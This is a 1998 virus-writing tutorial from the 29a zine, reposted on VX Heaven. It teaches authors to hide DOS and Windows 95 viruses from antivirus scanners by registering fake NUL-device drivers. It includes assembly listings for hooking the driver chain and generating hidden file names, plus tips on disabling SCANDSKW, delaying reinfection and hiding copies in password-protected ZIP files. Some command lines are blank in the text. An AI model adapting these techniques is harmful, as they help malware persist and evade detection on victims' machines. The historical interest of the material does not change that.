VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Playing 'Hide and Seek'

"Q" the Misanthrope
29a [2]
February 1998

[Back to index] [Comments]

It is a game of one-up-man-ship between the VX and the AV community. VX seems to be winning this battle but is also forcing new improvements. VX creates virus. AV creates scan strings. VX creates mutation. AV creates smart detectors. VX creates stealth. AV counters that with direct access. VX creates tunneling. AV stops that. VX creates tracing. AV stumbles. VX creates retro. AV stumbles. VX creates Stop AV from memory scanning. AV stumbles. VX creates macro viruses. AV goes nuts. VX creates new places to hide from AV. AV will probably stumble again.

Hide in NUL-Space

Wouldn't it be great to hide in a file that could not be accessed. You can. There are little things called device drivers in your PC. COM1, COM2, LPT1 and CON are examples. NUL is also a device that serves little purpose except do nothing. An example of this: COPY *.* NUL will read all the files for errors and copy them into NUL-Space (nowhere). Try to create a file by the name of NUL, what could you do with it? An experiment is necessary.

mov ah,52
int 21
int 3

AX=5200 BX=0026 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
0C9C:0104 CC INT 3

ES:BX points to the DOS list of lists. From Ralf Browns interrupt list:

Format of List of Lists:

00hDWORDpointer to first Drive Parameter Block
04hDWORD-> first System File Table
08hDWORDpointer to active CLOCK$ device's header
22h18 BYTEsactual NUL device driver header (not a pointer!)

NUL is always the first device on DOS's linked list of device drivers ES:BX+22h is what is of interest. Back to debug.

-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL

See the word NUL at es:bx+2Ch. Lets change it to AUTOEXEC.

-e es:52 "AUTOEXEC"

Back to DOS.

c:\>type c:\autoexec.bat

c:\>ren c:\autoexec.bat test.bat
Path not found

c:\>del c:\autoexec.bat
Access denied

Notice what happened when AUTOEXEC.BAT was in NUL-Space. It could not be read, renamed or deleted. Wouldn't this be a great way to protect our virus. Ralf Browns list showed that the actual NUL device was only 18 bytes long. Could you just make another 18 byte NUL device by another name? The answer is YES! Here is the device format from Ralf Brown:

Format of DOS device driver header

Offset Size Description
00h DWORD pointer to next driver, offset=FFFFh if last driver
04h WORD device attributes (see below)

Bitfields for device attributes

15 set (indicates character device)
14 IOCTL supported
13 (DOS 3.0+) output until busy supported
12 reserved
11 (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported
7 (DOS 5.0+) Generic IOCTL check call supported
6 (DOS 3.2+) Generic IOCTL call supported
5 reserved
4 device is special (use INT 29 "fast console output")
3 device is CLOCK$
2 device is NUL
1 device is standard output
0 device is standard input
06h WORD device strategy entry point call with ES:BX -> request header
08h WORD device interrupt entry point
0Ah 8 BYTEsblank-padded character device name

From the debug experiment:

-d es:48l12
00C9:0040 00 00 A6 C9 04 80 C7 0D ........
00C9:0050 CD 0D 4E 55 4C 20 20 20-20 20 ..NUL

We see that the next device in the chain is at C9A6:0000h, attributes are 8004h and that the strategy and interrupt entry points are 00C9:0DC7h and 00C9:0DCDh. The strategy and interrupt points for a NUL device just need to point to a RETF (they really could point anywhere since they are not used).

To make our own NUL device we can do something like this:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                 mov     ah,52h          ;get list of lists
                 int     21h
                 cld                     ;get address of next device in ds:si
                 lds     si,dword ptr es:[bx+22h]
                 push    cs              ;point to our device
                 pop     es
                 mov     di,offset virus_device
                 movsw                   ;copy device chain to our device
                 movsw                   ;then hook in our device
                 mov     word ptr ds:[si-02h],cs
                 mov     word ptr ds:[si-04h],offset virus_device
 virus_device    dd      -1h
                 dw      8004h           ;NUL character attributes
                 dw      return_far      ;strategy pointer
                 dw      return_far      ;interrupt pointer
                 db      "VIRUS   "      ;any file name your want in NUL-Space
 return_far:     retf
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

When your virus starts, have your virus create a first generation virus whose host is the standard CD 20 (terminate immediately) before it starts infecting. Name that virus C:\FDGDIKGA.PKB (pseudo random name and extension but should be same for all infections on that PC). This name could be derived from the drive C: serial number:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                 mov     ax,6900h        ;get drive serial number
                 mov     bx,0003h        ;drive C:
                 push    cs
                 pop     ds
                 mov     dx,offset info  ;point to where serial number will be
                 int     21h
 ;create file name from the drive C: serial number
                 mov     si,offset serialnumber
                 mov     di,offset device_name
                 mov     cx,0004h        ;loop 4 times
 get_serial:     lodsb                   ;get start of serial number
                 push    cx
                 mov     cl,04h          ;inner loop 4 times
 make_file:      sub     al,cl
                 ror     al,cl           ;pseudo random letter
                 mov     bl,al
                 and     bl,0fh
                 add     bl,"A"          ;create letter from A to P
                 mov     byte ptr ds:[di],bl
                 inc     di              ;save it and move pointer
                 loop    make_file
                 pop     cx
                 loop    get_serial
                 mov     byte ptr ds:[file_dot],"."      ;restore dot
                 mov     byte ptr ds:[asciz_nul],00h     ;restore nul
                 mov     dx,offset file_name
 ;now create virus by name at DS:DX
 info            dw      0
 serialnumber    dd      0               ;drive C: serial number
                 db      19 dup(0)       ;misc junk
 file_name       db      "C:"
 device_name     db      "VIRUS000"      ;pseudo virus name goes here
 file_dot        db      ".000"          ;with pseudo extension
 asciz_nul       db      00h,00h,00h
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hide it with the System and Hidden attribute, maybe even Read-Only. Now create a NUL device by the name of FDGDIKGA (same as pseudo random file name). Add this line to CONFIG.SYS:


Now start infecting. Go memory resident (you really only need to have the 18 bytes of your NUL device resident). What will now happen is magic. When the PC reboots there will load a program that doesn't have an executable extension so most AV programs won't even try to scan it. If they do they won't be able to read it or delete it because it is in NUL-Space. The AV people will be able to add the scan string for your virus and remove all the children created by it but they will not get the virus in NUL-Space. It will continue to infect again and again. Maybe only have it infect on Fridays or on the 13th of each month so it will appear that the virus has gone away but later it magically returns.

Hiding in NUL-Space and Windows 95

It works just fine with one notable exception; SCANDSKW.EXE that is automatically launched by the System Agent detects that there is a device by the same name as a file and will flag it. The solution is simple. Create another NUL device by the name of SCANDSKW. This stops SCANDSKW from working but doesn't flag an error.

Note: when going resident with the 18 byte NUL device, you might want to put it in the same location as the AUX device. This device is never ever used and is just wasting space. AUX is another name for COM1. PRN could be used but some older programs actually use it. LPT3's 18 bytes also could be used. The way to find the AUX device is to search the device chain:

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
                 mov     ah,52h                  ;get list of lists
                 int     21h
                 add     bx,22h                  ;point to NUL device
 check_end:      cmp     word ptr es:[bx],-1     ;end of chain?
                 je      end_chain
                 cmp     word ptr es:[bx+0ah],"UA"
                 jne     next_device             ;Look for "AUX "
                 cmp     word ptr es:[bx+0ch]," X"
                 jne     next_device
 ;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want
                 mov     word ptr es:[bx+04h],8004h      ;set NUL device
                 jmp     short end_chain
 next_device:    les     bx,dword ptr es:[bx]    ;get next device in chain
                 jmp     short check_end
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

To see the power of NUL-Space, try this in Windows 95: md"NUL ". It locks the computer completely up.

Hide in Cypher Text

PkZip has the ability to password protect ZIP files. This can be used to our advantage. Have the virus run this:


And add this to the AUTOEXEC.BAT:


This will allow multiple reinfections but the source will not be found with a virus scanner because it will not be able to expand the ZIP file.

If this is over your head, save it and come back to it when you are smarter. Have fun in NUL-Space.

Dear AV community, You are in check!

It is now your move.

"Q" the Misanthrope

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka